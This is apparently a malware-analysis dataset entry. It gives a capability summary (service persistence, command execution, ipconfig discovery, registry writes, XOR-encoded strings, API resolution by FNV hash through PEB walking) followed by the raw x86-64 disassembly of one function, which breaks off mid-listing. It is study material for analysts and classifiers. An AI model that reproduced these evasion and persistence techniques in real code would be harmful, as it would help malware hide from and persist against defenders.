Function at 0x140036460
Capabilities:
Access peb ldr_data
Capture network configuration via ipconfig
Delete file
Encode data using xor
Execute command
Hash data using fnv
Persist via windows service
Resolve function by parsing pe exports
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xdf8]
sub rsp, 0xed0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x140061040]
xor rax, rsp
mov qword [rbp + 0xd20], rax
mov dword [rbp + 0x48], 0
lea rdx, [0x140026110]
lea rcx, [rbp + 0x2b8]
call fcn.140043c40
nop
lea rcx, [rbp + 0x2b8]
call fcn.140028820
nop
cmp dword [rbp + 0x2c0], 0
je 0x14003650e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xorps xmm0, xmm0
movups xmmword [rbp + 0xbf8], xmm0
lea rax, [rbp + 0x8d0]
mov qword [rbp + 0xb40], rax
movups xmm0, xmmword [str.XEFCG]
movups xmmword [rbp + 0x6b0], xmm0
movups xmm1, xmmword [0x140050a20]
movups xmmword [rbp + 0x6c0], xmm1
movups xmm0, xmmword [0x140050a30]
movups xmmword [rbp + 0x6d0], xmm0
movups xmm1, xmmword [0x140050a40]
movups xmmword [rbp + 0x6e0], xmm1
movups xmm0, xmmword [0x140050a50]
movups xmmword [rbp + 0x6f0], xmm0
mov eax, dword [0x140050a60]
mov dword [rbp + 0x700], eax
xor r8d, r8d
movdqa xmm8, xmmword [0x14005a000]
movdqa xmm10, xmmword [0x14005a020]
movdqa xmm9, xmmword [0x140059ff0]
movdqa xmm6, xmmword [0x14005a040]
movdqa xmm7, xmmword [0x140059f70]
mov r13d, dword [0x140061090]
cmp r13d, 2
jl 0x1400366bb
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp + 0x6b4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x1400365d0
cmp r8d, 0x54
jge 0x140036700
movsxd rax, r8d
lea r9, [rbp + 0x6b0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x54
jl 0x1400366d0
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x8d0]
call fcn.1400272c0
mov rbx, rax
lea rcx, [rbp + 0x8f0]
call fcn.140025610
nop
mov rdx, rbx
mov rcx, rax
call fcn.140025ec0
test al, al
je 0x140036739
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
lea rax, [rbp + 0x910]
mov qword [rbp + 0x50], rax
movups xmm0, xmmword [0x14004fb50]
movups xmmword [rbp + 0x710], xmm0
movups xmm1, xmmword [0x14004fb60]
movups xmmword [rbp + 0x720], xmm1
movups xmm0, xmmword [0x14004fb70]
movups xmmword [rbp + 0x730], xmm0
movups xmm1, xmmword [0x14004fb80]
movups xmmword [rbp + 0x740], xmm1
movups xmm0, xmmword [0x14004fb90]
movups xmmword [rbp + 0x750], xmm0
movsd xmm0, qword [0x14004fba0]
movsd qword [rbp + 0x760], xmm0
xor r8d, r8d
cmp r13d, 2
jl 0x1400368a5
xor edx, edx
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp + 0x714]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x58
jl 0x1400367c0
jmp 0x1400368e2
lea r9, [rbp + 0x710]
nop dword [rax]
mov eax, 0x2f684bdb
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x58
jl 0x1400368b0
lea rdx, [rbp + 0x710]
lea rcx, [rbp + 0x910]
call fcn.1400272c0
mov rbx, rax
lea rcx, [rbp + 0x930]
call fcn.140025610
nop
mov rdx, rbx
mov rcx, rax
call fcn.140025ec0
test al, al
je 0x14003691b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
lea rdx, [0x14002a340]
lea rcx, [rbp + 0x2a8]
call fcn.140043c40
nop
lea rcx, [rbp + 0x2a8]
call fcn.140028820
nop
cmp dword [rbp + 0x2b0], 0
je 0x14003694c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rax, qword [0x140050150]
mov qword [rbp + 0x20], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400369e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400369e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb95dfb05
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400369e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400369c0
cmp r8d, 0xd705d5dc
je 0x1400369eb
test r9d, r9d
jne 0x1400369a0
mov rax, qword [rax]
jmp 0x140036970
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx eax, word [rcx + r9*2]
mov r11d, dword [rdx + rax*4]
add r11, r10
xor r8d, r8d
movdqa xmm12, xmmword [0x140059f80]
cmp r13d, 2
jl 0x140036ae3
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x20]
xorps xmm2, xmm1
movd dword [rbp + 0x20], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x24]
xorps xmm2, xmm1
movd dword [rbp + 0x24], xmm2
jmp 0x140036b22
lea r9, [rbp + 0x20]
nop word [rax + rax]
mov eax, 0x2f684bdb
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140036af0
lea rcx, [rbp + 0x20]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140036bb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140036bb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x6233ab3b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140036bb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140036b90
cmp r8d, 0xcae407d6
je 0x140036bbb
test r9d, r9d
jne 0x140036b70
mov rax, qword [rax]
jmp 0x140036b40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140036c66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140036c66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x95adb38f
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140036c61
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140036c40
cmp r8d, 0x6f5b9782
je 0x140036c6b
test r9d, r9d
jne 0x140036c20
mov rcx, qword [rcx]
jmp 0x140036bf0
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx eax, word [rcx + r9*2]
mov ecx, dword [rdx + rax*4]
add rcx, r10
call rcx
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140036d16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140036d16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x966d1374
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140036d11
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140036cf0
cmp r8d, 0xf2a17fba
je 0x140036d1b
test r9d, r9d
jne 0x140036cd0
mov rcx, qword [rcx]
jmp 0x140036ca0
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx eax, word [rcx + r9*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
lea rdx, [rbp + 0xbe8]
mov rcx, rsi
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140036dd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140036dd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x5c766359
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140036dd1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140036db0
cmp r8d, 0x55a80f26
je 0x140036ddb
test r9d, r9d
jne 0x140036d90
mov rax, qword [rax]
jmp 0x140036d60
mov eax, dword [rdi + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xfffffff5
call rax
mov r15, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140036e86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140036e86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rbx]
add rdx, r10
mov r8d, 0x7a86212
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140036e81
nop dword [rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140036e60
cmp r8d, 0xe88c6239
je 0x140036e8b
test r9d, r9d
jne 0x140036e40
mov rcx, qword [rcx]
jmp 0x140036e10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
lea rdx, [rbp + 0xb50]
mov rcx, r15
call rax
movzx ecx, word [rbp + 0xb60]
sub cx, word [rbp + 0xb5c]
inc cx
movzx eax, word [rbp + 0xb50]
mov word [rbp + 0xb40], ax
mov word [rbp + 0xb42], cx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140036f66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140036f66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x478c1f95
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140036f61
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140036f40
cmp r8d, 0xfff3d90
je 0x140036f6b
test r9d, r9d
jne 0x140036f20
mov rax, qword [rax]
jmp 0x140036ef0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, 0xffffffec
mov rcx, r12
call rax
mov esi, eax
bts esi, 0x13
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037026
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037026
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x448c1adc
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037021
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037000
cmp r8d, 0xea9c1eb5
je 0x14003702b
test r9d, r9d
jne 0x140036fe0
mov rax, qword [rax]
jmp 0x140036fb0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx r9d, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + r9*4]
add rax, r10
mov r8d, esi
mov edx, 0xffffffec
mov rcx, r12
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400370e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400370e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x1be1dfa5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400370e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400370c0
cmp r8d, 0x3a9b12b4
je 0x1400370eb
test r9d, r9d
jne 0x1400370a0
mov rax, qword [rax]
jmp 0x140037070
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov r9d, 2
mov r8b, 0xc8
xor edx, edx
mov rcx, r12
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400371a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400371a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x4bd88002
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400371a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037180
cmp r8d, 0x339a6c7
je 0x1400371ab
test r9d, r9d
jne 0x140037160
mov rax, qword [rax]
jmp 0x140037130
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov r14, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037256
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037256
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0x77aea416
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140037251
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140037230
cmp r8d, 0x5f7e32bb
je 0x14003725b
test r9d, r9d
jne 0x140037210
mov rcx, qword [rcx]
jmp 0x1400371e0
mov eax, dword [rdi + 0x24]
add rax, r10
movzx edx, word [rax + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, 0xfffffff0
mov rcx, r14
call rax
mov esi, eax
and esi, 0xfff8ffff
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037316
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037316
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x84b0f724
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037311
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400372f0
cmp r8d, 0x1e7e19d
je 0x14003731b
test r9d, r9d
jne 0x1400372d0
mov rax, qword [rax]
jmp 0x1400372a0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov r8d, esi
mov edx, 0xfffffff0
mov rcx, r14
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400373c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400373c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x85322706
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400373c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400373a0
cmp r8d, 0x828b3f0
je 0x1400373cb
test r9d, r9d
jne 0x140037380
mov rax, qword [rax]
jmp 0x140037350
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov edx, dword [rbp + 0xb40]
mov rcx, r15
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037476
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037476
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb03443d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037471
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037450
cmp r8d, 0x83feb5a3
je 0x14003747b
test r9d, r9d
jne 0x140037430
mov rax, qword [rax]
jmp 0x140037400
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov dword [rsp + 0x30], 0x63
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, 0xffffffffffffffff
mov rcx, r12
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037546
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037546
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x8feede3a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037541
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037520
cmp r8d, 0x1de837bf
je 0x14003754b
test r9d, r9d
jne 0x140037500
mov rax, qword [rax]
jmp 0x1400374d0
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx eax, word [rcx + r9*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
mov edx, 0xfffffff0
mov rcx, r12
call r8
mov esi, eax
btr esi, 0x11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140037606
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037606
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r10d, r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x48155a4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037601
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400375e0
cmp r8d, 0x73741c1d
je 0x14003760b
test r9d, r9d
jne 0x1400375c0
mov rax, qword [rax]
jmp 0x140037590
mov r9d, dword [rdi + 0x1c]
add r9, r11
mov ecx, dword [rdi + 0x24]
add rcx, r11
movzx eax, word [rcx + r10*2]
mov r10d, dword [r9 + rax*4]
add r10, r11
mov r8d, esi
mov edx, 0xfffffff0
mov rcx, r12
call r10
mov rcx, qword [0x140063150]
call fcn.1400144c0
mov rcx, qword [0x140063150]
call fcn.140014780
movups xmm0, xmmword [str.s_vnd__RXOJfHYS_G31____4._b96_P]
